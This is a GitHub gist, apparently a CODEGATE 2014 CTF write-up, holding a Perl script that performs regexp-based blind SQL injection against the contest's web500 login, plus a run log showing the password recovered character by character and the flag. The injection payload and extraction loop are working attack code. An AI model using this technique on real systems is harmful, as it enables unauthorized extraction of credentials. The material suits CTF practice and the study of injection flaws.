Skip to content

Instantly share code, notes, and snippets.

@akiym
Created February 24, 2014 10:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save akiym/9185050 to your computer and use it in GitHub Desktop.
Save akiym/9185050 to your computer and use it in GitHub Desktop.
# CODEGATE 2014 web500 writeup (泣いている)
use 5.016;
use warnings;
use utf8;
use LWP::UserAgent;
# 150ワードあたりの文字出現数
# a: 303
# b: 115
# c: 153
# d: 157
# e: 539
# f: 154
# g: 66
# h: 143
# i: 245
# j: 4
# k: 37
# l: 186
# m: 126
# n: 262
# o: 291
# p: 99
# r: 219
# s: 337
# t: 397
# u: 107
# v: 62
# w: 93
# x: 141
# y: 69
# z: 7
# 出現率を考慮して、[abcdefhilmnorstux]で構成されているpasswordの場合のみblind sqliする
# (ほかの文字が含まれている場合はskip)
# また、eの出現率が異様に高いので、特別扱いする
# 以上より、1文字あたり4、5stepもしくは2stepでを推測することができるようになる
# eがたくさん出現してくれれば120step以内に済ませることができる :)
my ($UA, $LIMIT, $OFFSET, $PASSWORD);
RESTART:
warn "-" x 10 . "\n";
$UA = LWP::UserAgent->new(cookie_jar => {});
$LIMIT = 120;
$OFFSET = 0;
$PASSWORD = '';
while (1) {
my $last_limit = $LIMIT;
if (check('[mnorstux]')) {
if (check('[mnor]')) {
if (check('[mn]')) {
if (check('m')) {
$PASSWORD .= 'm';
} else {
$PASSWORD .= 'n';
}
} else {
if (check('o')) {
$PASSWORD .= 'o';
} else {
$PASSWORD .= 'r';
}
}
} else {
if (check('[st]')) {
if (check('s')) {
$PASSWORD .= 's';
} else {
$PASSWORD .= 't';
}
} else {
if (check('u')) {
$PASSWORD .= 'u';
} else {
$PASSWORD .= 'x';
}
}
}
} elsif (check('[abcdfhil]')) {
if (check('[abcd]')) {
if (check('[ab]')) {
if (check('a')) {
$PASSWORD .= 'a';
} else {
$PASSWORD .= 'b';
}
} else {
if (check('c')) {
$PASSWORD .= 'c';
} else {
$PASSWORD .= 'd';
}
}
} else {
if (check('[fh]')) {
if (check('f')) {
$PASSWORD .= 'f';
} else {
$PASSWORD .= 'h';
}
} else {
if (check('i')) {
$PASSWORD .= 'i';
} else {
$PASSWORD .= 'l';
}
}
}
} else {
# eの出現率が高いので、2stepで済むようにしておく
$PASSWORD .= 'e';
# 最初のeは無視しておく
if ($OFFSET == 0) {
goto RESTART;
}
}
if ($LIMIT < 0) {
goto RESTART;
}
$OFFSET++;
warn "limit: $LIMIT (" . ($last_limit - $LIMIT) . ")\n";
warn "password: $PASSWORD (" . length($PASSWORD) . ")\n";
if (length($PASSWORD) == 30) {
my $res = $UA->post('http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/auth.php',
Content => {
password => $PASSWORD,
},
);
if ($res->content =~ /Wrong password/) {
goto RESTART;
} else {
warn $res->content;
die "done";
}
}
sleep 1;
}
sub check {
my ($pattern) = @_;
$LIMIT--;
my $p;
if ($OFFSET == 29) { # 最後
$p = $PASSWORD . $pattern;
} else {
# 出現率の高い文字で構成されているものしか見ない
$p = $PASSWORD . $pattern . '[abcdefhilmnorstux]+';
}
my $res = $UA->post('http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php',
Content => {
password => qq{'or password regexp '^$p\$},
},
);
return $res->content =~ /True/;
}
# 実行結果:
# ----------
# ----------
# limit: 116 (4)
# password: n (1)
# limit: 114 (2)
# password: ne (2)
# limit: 109 (5)
# password: nea (3)
# limit: 107 (2)
# password: neae (4)
# limit: 103 (4)
# password: neaeo (5)
# limit: 98 (5)
# password: neaeoi (6)
# limit: 96 (2)
# password: neaeoie (7)
# limit: 92 (4)
# password: neaeoien (8)
# limit: 90 (2)
# password: neaeoiene (9)
# limit: 86 (4)
# password: neaeoieneo (10)
# limit: 84 (2)
# password: neaeoieneoe (11)
# limit: 80 (4)
# password: neaeoieneoex (12)
# limit: 76 (4)
# password: neaeoieneoext (13)
# limit: 74 (2)
# password: neaeoieneoexte (14)
# limit: 70 (4)
# password: neaeoieneoexteo (15)
# limit: 66 (4)
# password: neaeoieneoexteot (16)
# limit: 61 (5)
# password: neaeoieneoexteotf (17)
# limit: 57 (4)
# password: neaeoieneoexteotfo (18)
# limit: 53 (4)
# password: neaeoieneoexteotfox (19)
# limit: 49 (4)
# password: neaeoieneoexteotfoxo (20)
# limit: 45 (4)
# password: neaeoieneoexteotfoxor (21)
# limit: 40 (5)
# password: neaeoieneoexteotfoxord (22)
# limit: 38 (2)
# password: neaeoieneoexteotfoxorde (23)
# limit: 34 (4)
# password: neaeoieneoexteotfoxordeu (24)
# limit: 29 (5)
# password: neaeoieneoexteotfoxordeud (25)
# limit: 24 (5)
# password: neaeoieneoexteotfoxordeudl (26)
# limit: 19 (5)
# password: neaeoieneoexteotfoxordeudlh (27)
# limit: 14 (5)
# password: neaeoieneoexteotfoxordeudlhf (28)
# limit: 9 (5)
# password: neaeoieneoexteotfoxordeudlhfa (29)
# limit: 5 (4)
# password: neaeoieneoexteotfoxordeudlhfau (30)
# Congrats! the key is DontHeartMeBaby*$#@! at web500.pl line 138.
# done at web500.pl line 139.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment